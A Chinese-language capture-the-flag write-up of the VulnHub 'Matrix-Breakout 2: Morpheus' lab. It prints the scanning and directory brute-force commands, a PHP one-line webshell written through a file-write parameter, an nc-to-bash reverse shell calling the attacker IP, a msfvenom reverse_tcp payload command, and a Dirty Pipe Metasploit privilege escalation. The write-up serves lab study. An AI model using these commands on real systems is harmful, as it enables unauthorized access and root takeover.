攻击机:10.10.10.129
靶机:10.10.10.132
靶机下载地址:https://www.vulnhub.com/entry/matrix-breakout-2-morpheus,757/
1、nmap -sn 10.10.10.0/24
先用nmap扫下攻击机同网段,得到靶机地址10.10.10.132
2、nmap -Pn -A -p- 10.10.10.132
,先用nmap进行初步的信息收集
3、开放了3个端口,22端口没有发现利用点。80端口是一个网页,只有一段话和一张图片。81端口是个登录界面。
4、80端口界面看了下源码没发现利用点,简单进行下目录扫描
5、80端口界面暂未发现什么可利用目录,先放着。81端口界面是个登录界面可能存在账号爆破或sql注入。进行一番测试和爆破后还有没有新发现。于是对81端口界面也进行了一波目录扫描,依旧没有新发现
6、既然81端口登录界面不是突破口,估计又是存在某个隐藏目录。于是使用kali上自带的字典重新进行了一波目录扫描,dirsearch -u http://10.10.10.132/ -w /usr/share/wordlists/dirbuster/apache-user-enum-1.0.txt -t 100 -o 1.txt
7、依旧没扫出来,于是打算换个字典试一下,结果所有字典都试了也没有新发现。然后就想着进行一波指纹扫描,也许是利用什么cms漏洞之类的
8、依旧是没有什么新进展,然后去看了下别人的write up,别人就是扫出了一个隐藏文件。这里一直想不明白我怎么扫不出来,后来才发现我使用的dirsearch 扫描时没有将后缀名拼接扫描文件,只扫描了目录。于是改用了gobuster重新进行扫描。gobuster 需要指定文件类型,由于不知道网站使用什么语言所以都指定了一遍。gobuster dir -u http://10.10.10.132 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt,jsp,aspx,asp,js
9、扫出来两个文件,graffiti.txt目前没啥利用点。graffiti.php有一个输入框
1、经测试在文本框输入会直接在当前页面打印出来,而且存在存储型xss。试着写了一句话木马过去,但查看网页源码发现会在<?之间插入!--,使之成为一个注释
2、然后找了个不用?的一句话木马,虽然没有被过滤但是无法连接<script language="pHp">@eval(['a'])</script>
3、抓包看了下,发现请求包存在两个参数。一个是message,值是我们发送的信息;一个是file,file的值等于graffiti.txt。然后又重新查看了下graffiti.txt这个文件,发现之前测试的数据都被写进了这里
4、将file的值改成graffiti.php重新写入一句话木马,蚁剑成功上线。后面测试如果将file的值改成一个不存在文件名,它会自动生成这个文件,也可以成功上线
1、简单查了下当前用户信息
2、查看了下passwd、shadow文件权限都为root
3、find / -perm -u=s -type f 2>/dev/null
,没发现可以suid提权的命令
4、sudoeidt -s /
,suodo提权也无法使用
5、这里可以直接上传linux提权辅助工具来寻找其他漏洞提权,linux提权辅助工具下载地址:https://github.com/The-Z-Labs/linux-exploit-suggester,但我比较喜欢使用msf中的local_exploit_suggester 这个模块来辅助提权。如果是直接上传的话,后面如果要反弹shell到攻击机上,靶机上nc反弹无法使用e参数。这里介绍一个新的nc反弹,不需要e参数。首先在攻击机上用nc开启两个监听端口。
6、nc 10.10.10.129 4444 | /bin/bash | nc 10.10.10.129 5555
,在蚁剑上执行就可以成功反弹shell。在4444端口输入命令,5555端口显示结果
1、首先在msf中开启一个监听端口
2、msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=10.10.10.129 lport=4444 -f elf > 4444.elf
,生成一个msf的木马,payload要与上面监听事件的payload相同。然后上传到靶机执行。一般tmp目录拥有高权限,所以上传到tmp目录下执行
3、成功上线后,输入bg先将这个会话放后台。然后使用msf中的提权辅助模块
4、设置下必要参数然后执行等待
5、这里使用第一个漏洞模块
6、use exploit/linux/local/cve_2022_0847_dirtypipe
7、设置下必要参数,下面payload的端口需要改下,4444端口已经被我们使用了
1、获得会话后,查看下权限是root。切换到shell模式,然后在root目录下获得flag
这个靶机还是挺简单的,先目录扫描出隐藏文件,然后上传木马getshell,最后借助msf使用cve-2022-0847提权获得flag。难点可能在于那个隐藏文件扫不出来,还有学习了nc不用e参数反弹shell。